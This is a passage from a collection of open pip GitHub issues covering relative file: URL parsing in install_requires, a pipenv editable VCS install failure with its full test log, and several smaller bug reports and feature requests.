ParseResult(scheme='file', netloc='', path='./foo/bar', params='', query='', fragment='')
file:///./foo/bar
ParseResult(scheme='file', netloc='', path='/./foo/bar', params='', query='', fragment='')
```

Oops! Notice how, when we "unparse" the result from the first parse call, our `path` becomes absolute `file:///...`.

This is why the second mentioned check fails - the path is not local. **I believe this to be a bug in `six`** but can be mitigated in Pip by allowing `scheme in ['file', '']` and instructing users to use the `./foo/bar` URI form.

Given these two contradictory pieces of logic, it's impossible to use local paths in `install_requires` keys in either `distutils` or `setuptools` configurations.

**Expected behavior**
I should be able to do `name @ ./some/path` (or, honestly, simply `./some/path`) to specify a vendored package local to my codebase.

**How to Reproduce**
```shell
#!/usr/bin/env bash
mkdir /tmp/pip-uri-repro && cd /tmp/pip-uri-repro

mkdir -p foo/bar

cat > requirements.txt <<EOF
./foo
EOF

cat > foo/setup.py <<EOF
#!/usr/bin/env python
from setuptools import setup
setup(
    name="foo",
    version="0.1",
    install_requires=[
        "bar @ file:./bar"
    ]
)
EOF

cat > foo/bar/setup.py <<EOF
#!/usr/bin/env python
from setuptools import setup
setup(
    name="bar",
    version="0.1"
)
EOF

# (OUTPUT 1)
pip install -r requirements.txt

cat > foo/setup.py <<EOF
#!/usr/bin/env python
from setuptools import setup
setup(
    name="foo",
    version="0.1",
    install_requires=[
        # we're forced to use an absolute path
        # to make the "Invalid URL" error go
        # away, which isn't right anyway (the
        # error that is raised as a result
        # is justified)
        "bar @ file://./bar"
    ]
)
EOF

# (OUTPUT 2)
pip install -r requirements.txt
```

**Output**

From the first `pip install`:

```
Processing ./foo
    ERROR: Complete output from command python setup.py egg_info:
    ERROR: error in foo setup command: 'install_requires' must be a string or list of strings containing valid project/version requirement specifiers; Invalid URL given
```

From the second `pip install`:

```
Processing ./foo
ERROR: Exception:
Traceback (most recent call last):
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 178, in main
    status = self.run(options, args)
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 352, in run
    resolver.resolve(requirement_set)
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/resolve.py", line 242, in _get_abstract_dist_for
    self.require_hashes
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 256, in prepare_linked_requirement
    path = url_to_path(req.link.url)
  File "/private/tmp/repro-pip-egg/env3/lib/python3.7/site-packages/pip/_internal/download.py", line 521, in url_to_path
    % url
ValueError: non-local file URIs are not supported on this platform: 'file://./bar'
```

---

EDIT:

Just found out that [RFC 3986](https://tools.ietf.org/html/rfc3986#section-3.3) specifies that relative path URIs are not permitted with the `file:` scheme, so technically `six` should be erroring out on `file:./foo/bar`.

However, that means, technically, I should be able to do the following in my setup.py:

```python
PKG_DIR = os.path.dirname(os.path.abspath(__file__))
install_requires = [
    f"name @ file://{PKG_DIR}/foo/bar"
]
```

However, pip seems to be creating a "clean" copy of the package in `/tmp`, so we get something like `file:///tmp/pip-req-build-9u3z545j/foo/bar`.

Running that through our test function, we satisfy the second function's conditional:

```python
>>> tryparse('file:///tmp/pip-req-build-9u3z545j/foo/bar')
file:///tmp/pip-req-build-9u3z545j/foo/bar
ParseResult(scheme='file', netloc='', path='/tmp/pip-req-build-9u3z545j/foo/bar', params='', query='', fragment='')
file:///tmp/pip-req-build-9u3z545j/foo/bar
ParseResult(scheme='file', netloc='', path='/tmp/pip-req-build-9u3z545j/foo/bar', params='', query='', fragment='')
```

Everything is good there. The "unparse" yields the same result, and the `netloc` requirements are met for the first function's conditional.

However, we're still met with an `Invalid URL` error, even though the second function's logic is satisfied.

Since `pip` (or distutils or setuptools or whatever) swallows output, I went ahead and did the following in my setup.py

```python
import os
PKG_DIR = os.path.dirname(os.path.abspath(__file__))
assert False, os.system(f"find {PKG_DIR}")
```

Which verifies that all of the files are there, as expected - so it can't be a file missing or something. The line above that has `"Invalid URL given"` is the only place in the codebase that string shows up.

At this point, I'm not sure what the problem is.
user: Qix-
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
state: needs discussion: This needs some more discussion
issue_6636: state: open
title: VCS Dependency Installation fails when GIT_CONFIG is set
body: **Environment**

* pip version: 19.1.1
* Python version: 3.7.3
* OS: lubuntu 18.10

<!-- Feel free to add more information about your environment here -->

**Description**

Editable installs are failing in some edge cases during pipenv's test suite, seems possibly related to being in a certain level of subprocess nesting but I'm not too sure.

In nested subprocess calls (e.g. `pipenv install` running via `pytest` invoked itself via `pipenv`, which calls `pip install` with a subprocess, which then invokes `pep517`, `git`, etc, hard to know where this is failing), pip fails to install editable VCS dependencies as it is unable to find the source URL.  This behavior is new as of `pip 19.x` and I was not able to test with earlier versions of the `19.x` series as they didn't work with editable VCS dependencies for various reasons.

I know there have been changes in this part of the code lately, so I'll just go ahead and /cc @cjerdonek -- any thoughts on what's going on?  This works totally fine when I run it myself even in a clean install.

**Expected behavior**
Well, ideally this would just work, although I am not too sure what is precisely going wrong to be honest. 

**How to Reproduce**
```console
$ git clone git@github.com:pypa/pipenv.git
$ cd pipenv
$ git checkout -b bugfix/3809 --track origin/bugfix/3809
$ make test-specific tests=test_editable_vcs_install
```


**Output**

**click here:**
<details>

```
Courtesy Notice: Pipenv found itself running within a virtual environment, so it will automatically use that environment, instead of creating its own for any project. You can set PIPENV_IGNORE_VIRTUALENVS=1 to force pipenv to ignore that environment and create its own instead. You can set PIPENV_VERBOSITY=-1 to suppress this warning.
Loading .env environment variables…
===================================================================================== test session starts =====================================================================================
platform linux -- Python 3.7.3, pytest-4.6.3, py-1.8.0, pluggy-0.12.0
rootdir: /home/hawk/git/pipenv, inifile: pytest.ini, testpaths: tests
plugins: devpi-server-1.7.0, server-fixtures-1.7.0, shutil-1.7.0, devpi-server-4.9.0, xdist-1.29.0, forked-1.0.2, flaky-3.5.3, tap-2.3, pypi-0.1.1
collected 251 items / 250 deselected / 1 selected                                                                                                                                             

tests/integration/test_install_uri.py F                                                                                                                                                 [100%]

========================================================================================== FAILURES ===========================================================================================
__________________________________________________________________________________ test_editable_vcs_install __________________________________________________________________________________

PipenvInstance_NoPyPI = <class 'tests.integration.conftest._PipenvInstance'>

    @pytest.mark.e
    @pytest.mark.vcs
    @pytest.mark.install
    @pytest.mark.needs_internet
    def test_editable_vcs_install(PipenvInstance_NoPyPI):  # ! This is failing
        with PipenvInstance_NoPyPI(chdir=True) as p:
            c = p.pipenv(
                "install -e git+https://github.com/kennethreitz/requests.git#egg=requests --verbose"
            )
>           assert c.return_code == 0
E           AssertionError: assert 1 == 0
E            +  where 1 = <Command 'pipenv install -e git+https://github.com/kennethreitz/requests.git#egg=requests --verbose'>.return_code

tests/integration/test_install_uri.py:134: AssertionError
------------------------------------------------------------------------------------ Captured stdout call -------------------------------------------------------------------------------------
$ pipenv install -e git+https://github.com/kennethreitz/requests.git#egg=requests --verbose
Installing -e git+https://github.com/kennethreitz/requests.git#egg=requests…

Installing package: -e git+https://github.com/kennethreitz/requests.git#egg=requests
Created temporary directory: /tmp/pip-ephem-wheel-cache-hbm8ev4s
Created temporary directory: /tmp/pip-req-tracker-nm6qeuqm
Created requirements tracker '/tmp/pip-req-tracker-nm6qeuqm'
Created temporary directory: /tmp/pip-install-ednsivfo
Obtaining requests from git+https://github.com/kennethreitz/requests.git#egg=requests
  Cloning https://github.com/kennethreitz/requests.git to ./.venv/src/requests
  Added requests from git+https://github.com/kennethreitz/requests.git#egg=requests to build tracker '/tmp/pip-req-tracker-nm6qeuqm'
    Running setup.py (path:/tmp/pipenv-e3gccq0u-project/.venv/src/requests/setup.py) egg_info for package requests
  Source in ./.venv/src/requests has version 2.22.0, which satisfies requirement requests from git+https://github.com/kennethreitz/requests.git#egg=requests
  Removed requests from git+https://github.com/kennethreitz/requests.git#egg=requests from build tracker '/tmp/pip-req-tracker-nm6qeuqm'
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  ...[pip verbose find-links output snipped]... '/tmp/pip-req-tracker-nm6qeuqm'
Collecting idna<2.9,>=2.5 (from requests)
    ...[pip verbose find-links output snipped]... from build tracker '/tmp/pip-req-tracker-nm6qeuqm'
Collecting urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 (from requests)
  Looking up "https://pypi.org/simple/urllib3/" in the cache
  ...[pip verbose find-links output snipped]... from build tracker '/tmp/pip-req-tracker-nm6qeuqm'
Collecting certifi>=2017.4.17 (from requests)
    [...[pip verbose find-links output snipped]...'/tmp/pip-req-tracker-nm6qeuqm'
Installing collected packages: chardet, idna, urllib3, certifi, requests

  changing mode of /tmp/pipenv-e3gccq0u-project/.venv/bin/chardetect to 775

  Running setup.py develop for requests
Successfully installed certifi-2019.6.16 chardet-3.0.4 idna-2.8 requests urllib3-1.25.3
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-nm6qeuqm'

Installing dependencies from Pipfile.lock (176165)…
Created temporary directory: /tmp/pip-ephem-wheel-cache-fc7y5q_e
Created temporary directory: /tmp/pip-req-tracker-lxmbdioj
Created requirements tracker '/tmp/pip-req-tracker-lxmbdioj'
Created temporary directory: /tmp/pip-install-g876weqg
... [pip verbose find-links output snipped]...
Installed version (2019.6.16) is most up-to-date (past versions: 2019.6.16)
Requirement already up-to-date: certifi==2019.6.16 in ./.venv/lib/python3.7/site-packages (from -r /tmp/pipenv-eday9hn0-requirements/pipenv-9kcfp6yy-requirement.txt (line 1)) (2019.6.16)
  Since it is already installed, we are trusting this package without checking its hash. To ensure a completely repeatable environment, install into an empty virtualenv.
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-lxmbdioj'
Created temporary directory: /tmp/pip-ephem-wheel-cache-lh_xz_5_
Created temporary directory: /tmp/pip-req-tracker-o9gtsfz1
Created requirements tracker '/tmp/pip-req-tracker-o9gtsfz1'
Created temporary directory: /tmp/pip-install-yween9rx
... [pip verbose find-links output snipped]...
Installed version (3.0.4) is most up-to-date (past versions: 3.0.4)
Requirement already up-to-date: chardet==3.0.4 in ./.venv/lib/python3.7/site-packages (from -r /tmp/pipenv-eday9hn0-requirements/pipenv-25t2vu3e-requirement.txt (line 1)) (3.0.4)
  Since it is already installed, we are trusting this package without checking its hash. To ensure a completely repeatable environment, install into an empty virtualenv.
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-o9gtsfz1'
Created temporary directory: /tmp/pip-ephem-wheel-cache-3gx5t7ii
Created temporary directory: /tmp/pip-req-tracker-u4m9b_y7
Created requirements tracker '/tmp/pip-req-tracker-u4m9b_y7'
Created temporary directory: /tmp/pip-install-9zj6aaml
... [pip verbose output finding links snipped]...
  Since it is already installed, we are trusting this package without checking its hash. To ensure a completely repeatable environment, install into an empty virtualenv.
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-2wchoug_'
Installing initially failed dependencies…
Created temporary directory: /tmp/pip-ephem-wheel-cache-7qy5ch10
Created temporary directory: /tmp/pip-req-tracker-cx6miims
Created requirements tracker '/tmp/pip-req-tracker-cx6miims'
Created temporary directory: /tmp/pip-install-5279js0i
Obtaining requests from git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests
  Checking in /tmp/pipenv-e3gccq0u-project/.venv/src/requests for .git (git)...
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-cx6miims'

Command failed...
------------------------------------------------------------------------------------ Captured stderr call -------------------------------------------------------------------------------------
Using python: 3.7
Path to python: /mnt/ramdisk/.venv/bin/python3.7
Creating a virtualenv for this project…
Pipfile: /tmp/pipenv-e3gccq0u-project/Pipfile
Using /mnt/ramdisk/.venv/bin/python3.7 (3.7.3) to create virtualenv…
Already using interpreter /mnt/ramdisk/.venv/bin/python3.7
Using real prefix '/home/hawk/.pyenv/versions/3.7.3'
New python executable in /tmp/pipenv-e3gccq0u-project/.venv/bin/python3.7
Also creating executable in /tmp/pipenv-e3gccq0u-project/.venv/bin/python
Installing setuptools, pip, wheel...
done.
Running virtualenv with interpreter /mnt/ramdisk/.venv/bin/python3.7


Successfully created virtual environment!
Virtualenv location: /tmp/pipenv-e3gccq0u-project/.venv
Creating a Pipfile for this project…
Installing 'requests'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '-e', 'git+https://github.com/kennethreitz/requests.git#egg=requests', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'

Adding requests to Pipfile's [packages]…

Installation Succeeded
Pipfile.lock not found, creating…
Locking [dev-packages] dependencies…
Locking [packages] dependencies…

Building requirements...
INFO:pipenv.patched.notpip._internal.vcs.git:Cloning https://github.com/kennethreitz/requests.git to /tmp/reqlib-srcse4lyuzz

Resolving dependencies...

                          ROUND 1                           
Current constraints:
  certifi>=2017.4.17
  chardet<3.1.0,>=3.0.2
  idna<2.9,>=2.5
  requests from git+https://github.com/kennethreitz/requests.git#egg=requests (from -r /tmp/pipenv84p19_fkrequirements/pipenv-9cdtf0ii-constraints.txt (line 6))
  urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1

Finding the best candidates:
  found candidate certifi==2019.6.16 (constraint was >=2017.4.17)
  found candidate chardet==3.0.4 (constraint was >=3.0.2,<3.1.0)
  found candidate idna==2.8 (constraint was >=2.5,<2.9)
  found candidate -e git+https://github.com/kennethreitz/requests.git#egg=requests (constraint was <any>)
  found candidate urllib3==1.25.3 (constraint was >=1.21.1,!=1.25.0,!=1.25.1,<1.26)

Finding secondary dependencies:
  chardet==3.0.4 not in cache, need to check index
  chardet==3.0.4            requires -
  urllib3==1.25.3 not in cache, need to check index
  urllib3==1.25.3           requires -
  certifi==2019.6.16 not in cache, need to check index
  certifi==2019.6.16        requires -
  idna==2.8 not in cache, need to check index
  idna==2.8                 requires -

New dependencies found in this round:
  adding ['certifi', '>=2017.4.17', '[]']
  adding ['chardet', '<3.1.0,>=3.0.2', '[]']
  adding ['idna', '<2.9,>=2.5', '[]']
  adding ['urllib3', '!=1.25.0,!=1.25.1,<1.26,>=1.21.1', '[]']
Removed dependencies in this round:
Unsafe dependencies in this round:
------------------------------------------------------------
Result of round 1: not stable

                          ROUND 2                           
Current constraints:
  certifi>=2017.4.17
  chardet<3.1.0,>=3.0.2
  idna<2.9,>=2.5
  requests from git+https://github.com/kennethreitz/requests.git#egg=requests (from -r /tmp/pipenv84p19_fkrequirements/pipenv-9cdtf0ii-constraints.txt (line 6))
  urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1

Finding the best candidates:
  found candidate certifi==2019.6.16 (constraint was >=2017.4.17)
  found candidate chardet==3.0.4 (constraint was >=3.0.2,<3.1.0)
  found candidate idna==2.8 (constraint was >=2.5,<2.9)
  found candidate -e git+https://github.com/kennethreitz/requests.git#egg=requests (constraint was <any>)
  found candidate urllib3==1.25.3 (constraint was >=1.21.1,!=1.25.0,!=1.25.1,<1.26)

Finding secondary dependencies:
  urllib3==1.25.3           requires -
  idna==2.8                 requires -
  certifi==2019.6.16        requires -
  chardet==3.0.4            requires -
------------------------------------------------------------
Result of round 2: stable, done
ROUND 1                           
Current constraints:
  certifi>=2017.4.17
  chardet<3.1.0,>=3.0.2
  idna<2.9,>=2.5
  requests from git+https://github.com/kennethreitz/requests.git#egg=requests (from -r /tmp/pipenv84p19_fkrequirements/pipenv-9cdtf0ii-constraints.txt (line 6))
  urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1

Finding the best candidates:
  found candidate certifi==2019.6.16 (constraint was >=2017.4.17)
  found candidate chardet==3.0.4 (constraint was >=3.0.2,<3.1.0)
  found candidate idna==2.8 (constraint was >=2.5,<2.9)
  found candidate -e git+https://github.com/kennethreitz/requests.git#egg=requests (constraint was <any>)
  found candidate urllib3==1.25.3 (constraint was >=1.21.1,!=1.25.0,!=1.25.1,<1.26)

Finding secondary dependencies:
  chardet==3.0.4 not in cache, need to check index
  chardet==3.0.4            requires -
  urllib3==1.25.3 not in cache, need to check index
  urllib3==1.25.3           requires -
  certifi==2019.6.16 not in cache, need to check index
  certifi==2019.6.16        requires -
  idna==2.8 not in cache, need to check index
  idna==2.8                 requires -

New dependencies found in this round:
  adding ['certifi', '>=2017.4.17', '[]']
  adding ['chardet', '<3.1.0,>=3.0.2', '[]']
  adding ['idna', '<2.9,>=2.5', '[]']
  adding ['urllib3', '!=1.25.0,!=1.25.1,<1.26,>=1.21.1', '[]']
Removed dependencies in this round:
Unsafe dependencies in this round:
------------------------------------------------------------
Result of round 1: not stable

                          ROUND 2                           
Current constraints:
  certifi>=2017.4.17
  chardet<3.1.0,>=3.0.2
  idna<2.9,>=2.5
  requests from git+https://github.com/kennethreitz/requests.git#egg=requests (from -r /tmp/pipenv84p19_fkrequirements/pipenv-9cdtf0ii-constraints.txt (line 6))
  urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1

Finding the best candidates:
  found candidate certifi==2019.6.16 (constraint was >=2017.4.17)
  found candidate chardet==3.0.4 (constraint was >=3.0.2,<3.1.0)
  found candidate idna==2.8 (constraint was >=2.5,<2.9)
  found candidate -e git+https://github.com/kennethreitz/requests.git#egg=requests (constraint was <any>)
  found candidate urllib3==1.25.3 (constraint was >=1.21.1,!=1.25.0,!=1.25.1,<1.26)

Finding secondary dependencies:
  urllib3==1.25.3           requires -
  idna==2.8                 requires -
  certifi==2019.6.16        requires -
  chardet==3.0.4            requires -
------------------------------------------------------------
Result of round 2: stable, done

Success!
Updated Pipfile.lock (176165)!
Writing supplied requirement line to temporary file: 'certifi==2019.6.16 --hash=sha256:046832c04d4e752f37383b628bc601a7ea7211496b4638f6514d0e5b9acc4939 --hash=sha256:945e3ba63a0b9f577b1395204e13c3a231f9bc0223888be653286534e5873695'
Installing 'certifi'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--require-hashes', '--no-deps', '-r', '/tmp/pipenv-eday9hn0-requirements/pipenv-9kcfp6yy-requirement.txt', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
Writing supplied requirement line to temporary file: 'chardet==3.0.4 --hash=sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691 --hash=sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae'
Installing 'chardet'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--require-hashes', '--no-deps', '-r', '/tmp/pipenv-eday9hn0-requirements/pipenv-25t2vu3e-requirement.txt', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
Writing supplied requirement line to temporary file: 'idna==2.8 --hash=sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407 --hash=sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c'
Installing 'idna'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--require-hashes', '--no-deps', '-r', '/tmp/pipenv-eday9hn0-requirements/pipenv-wz2pyxfh-requirement.txt', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
Installing 'requests'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--no-deps', '-e', 'git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
Writing supplied requirement line to temporary file: "urllib3==1.25.3 ; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' and python_version < '4' --hash=sha256:b246607a25ac80bedac05c6f282e3cdaf3afb65420fd024ac94435cabe6e18d1 --hash=sha256:dbe59173209418ae49d485b87d1681aefa36252ee85884c31346debd19463232"
Installing 'urllib3'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--require-hashes', '--no-deps', '-r', '/tmp/pipenv-eday9hn0-requirements/pipenv-0gevanyv-requirement.txt', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
***** ERROR LOG:   Running command git config --get-regexp 'remote\..*\.url'
ERROR: Exception:
Traceback (most recent call last):
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/git.py", line 272, in get_remote_url
    found_remote = remotes[0]
IndexError: list index out of range

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 178, in main
    status = self.run(options, args)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 352, in run
    resolver.resolve(requirement_set)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 226, in _get_abstract_dist_for
    req, self.require_hashes, self.use_user_site, self.finder,
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 391, in prepare_editable_requirement
    req.update_editable(not self._download_should_save)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/req/req_install.py", line 793, in update_editable
    vcs_backend.obtain(self.source_dir)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/__init__.py", line 442, in obtain
    existing_url = self.get_remote_url(dest)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/git.py", line 274, in get_remote_url
    raise RemoteNotFoundError
pip._internal.vcs.RemoteNotFoundError

***** OUTPUT LOG: Created temporary directory: /tmp/pip-ephem-wheel-cache-q26j1sh1
Created temporary directory: /tmp/pip-req-tracker-emwse09n
Created requirements tracker '/tmp/pip-req-tracker-emwse09n'
Created temporary directory: /tmp/pip-install-6t56vjqz
Obtaining requests from git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests
  Checking in /tmp/pipenv-e3gccq0u-project/.venv/src/requests for .git (git)...
Cleaning up...
Removed build tracker '/tmp/pip-req-tracker-emwse09n'

INFO:pipenv.patched.notpip._internal.vcs.git:Cloning https://github.com/kennethreitz/requests.git (to revision 4983a9bde39c6320aa4f3e34e50dac6e263dab6f) to /tmp/reqlib-srcqe0bgu33
An error occurred while installing -e git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests! Will try again.
Installing 'requests'
$ ['/tmp/pipenv-e3gccq0u-project/.venv/bin/pip', 'install', '--verbose', '--upgrade', '--no-use-pep517', '--no-deps', '-e', 'git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests', '-i', 'https://pypi.org/simple']
Using source directory: '/tmp/pipenv-e3gccq0u-project/.venv/src'
***** ERROR LOG:   Running command git config --get-regexp 'remote\..*\.url'
ERROR: Exception:
Traceback (most recent call last):
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/git.py", line 272, in get_remote_url
    found_remote = remotes[0]
IndexError: list index out of range

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 178, in main
    status = self.run(options, args)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 352, in run
    resolver.resolve(requirement_set)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/resolve.py", line 226, in _get_abstract_dist_for
    req, self.require_hashes, self.use_user_site, self.finder,
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 391, in prepare_editable_requirement
    req.update_editable(not self._download_should_save)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/req/req_install.py", line 793, in update_editable
    vcs_backend.obtain(self.source_dir)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/__init__.py", line 442, in obtain
    existing_url = self.get_remote_url(dest)
  File "/tmp/pipenv-e3gccq0u-project/.venv/lib/python3.7/site-packages/pip/_internal/vcs/git.py", line 274, in get_remote_url
    raise RemoteNotFoundError
pip._internal.vcs.RemoteNotFoundError

***** OUTPUT LOG: Created temporary directory: /tmp/pip-ephem-wheel-cache-7qy5ch10
Created temporary directory: /tmp/pip-req-tracker-cx6miims
Created requirements tracker '/tmp/pip-req-tracker-cx6miims'
Created temporary directory: /tmp/pip-install-5279js0i
Obtaining requests from git+https://github.com/kennethreitz/requests.git@4983a9bde39c6320aa4f3e34e50dac6e263dab6f#egg=requests
  Checking in /tmp/pipenv-e3gccq0u-project/.venv/src/requests for .git (git)...
Cleaning up...
```

</details>
user: techalchemy
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_6627: state: open
title: Consider using --force when available with SVN when the directory already exists
body: pip's svn code has a code comment that we can be using `--force` instead of `rmtree()` with svn versions >= 1.5: https://github.com/pypa/pip/blob/26cdedd618c080ba207c55bf81d61119e1c36232/src/pip/_internal/vcs/subversion.py#L279-L282

Now that we're storing the SVN version (as of PR #6439), we can revisit this (and at the least update the code comment). SVN 1.5 was released all the way back in 2008.

user: cjerdonek
labels: type: refactor: Refactoring code
C: vcs: pip's interaction with version control systems like git, svn and bzr
issue_6607: state: open
title: Build Logic Refactor
body: This is an issue for the broader design discussions for the overall build logic refactor work that I'll be doing.

Related: #5051
Tracking project board: https://github.com/pypa/pip/projects/3

---

@pypa/pip-committers I was thinking about this a bit and IMO we should try to keep the "broad" discussion here since it'd probably make life easier for me to be able to look back and reference things. I've also created a project board to better organize myself while working on this.
user: pradyunsg
labels: type: refactor: Refactoring code
issue_6584: state: open
title: Hint at next step, during install, when wheel building fails
body: ref: https://stackoverflow.com/questions/53204916/what-is-the-meaning-of-failed-building-wheel-for-x-in-pip-install

When pip fails to build a wheel, the message is a little mysterious for the users. It might be a good idea to see how we can enhance that to be "better".

Note that pip wheel uses the same code, so we should consider that here as well.
user: pradyunsg
labels: type: enhancement: Improvements to functionality
C: wheel: The wheel format and 'pip wheel' command
UX: User experience related
C: error messages: Improving error messages
issue_6581: state: open
title: pip config --editor notepad.exe edit fails to create pip.ini on windows
body: **Environment**

* pip version:  pip 19.0.3 from c:\python37\lib\site-packages\pip (python 3.7)
* Python version: 3.7.3
* OS: Windows 10 Professional

**Description**
 run `pip config --editor notepad.exe edit` on windows
Notepad shows an alert: `The system cannot find the path specified.`

**Expected behavior**
PIP should create  `c:\users\user-id\AppData\Roaming\pip\pip.ini` before launching notepad.

**How to Reproduce**
1. On windows 10, install python afresh. The folder `c:\users\user-id\AppData\Roaming\pip` should not exist on the system
2. Then run `pip config --editor notepad.exe edit`
3.Notepad shows an alert: `The system cannot find the path specified.`

**However, when the same is tried using Visual studio code. It works fine.**

 This is a limitation with notepad.exe. I tried `notepad a\b.txt` and got the same error. This bug really belongs to notepad.

However, pip can handle the scenario by creating/touching the pip\pip.ini befpre launching the editor.


user: metaforte
labels: OS: windows: Windows specific
C: configuration: Configuration management and loading
issue_6572: state: open
title: Make pip able to update Windows binaries in use
body: **What's the problem this feature will solve?**
On Windows when a native binary is in use it cannot be deleted or replaced.

This causes errors because sometimes already installed `pip` depends on PE binaries.
#5311, #1299, #2686

**Describe the solution you'd like**
There is a well-known workaround for that. The file can be moved. So a temporary dir is created, all the locked files are moved there, then new version can be put in their place. Then start a new `pip` process and close the current one. The new one should be able to delete the temp dir. Some synchromizatikn is needed to make sure the old stuff is terminated.


**Alternative Solutions**
generate a program updating the stuff. essentially the same, but more complex and fragile.

user: KOLANICH
labels: OS: windows: Windows specific
resolution: deferred till PR: Further discussion will happen when a PR is made
C: scripts: How scripts and entry points are managed
issue_6555: state: open
title: ProxySchemeUnknown: Not supported proxy scheme localhost
body: Reported in 2014 already, new issue due to stale bot.. \o/

Using `--proxy localhost:3128/` crashes due to the trailing slash and no scheme:

```
% pip --proxy localhost:3128/ install example
Looking in indexes: http://localhost:3141/root/pypi/+simple/
Collecting example
ERROR: Exception:
Traceback (most recent call last):
  File "…/Vcs/pip/src/pip/_internal/cli/base_command.py", line 193, in main
    status = self.run(options, args)
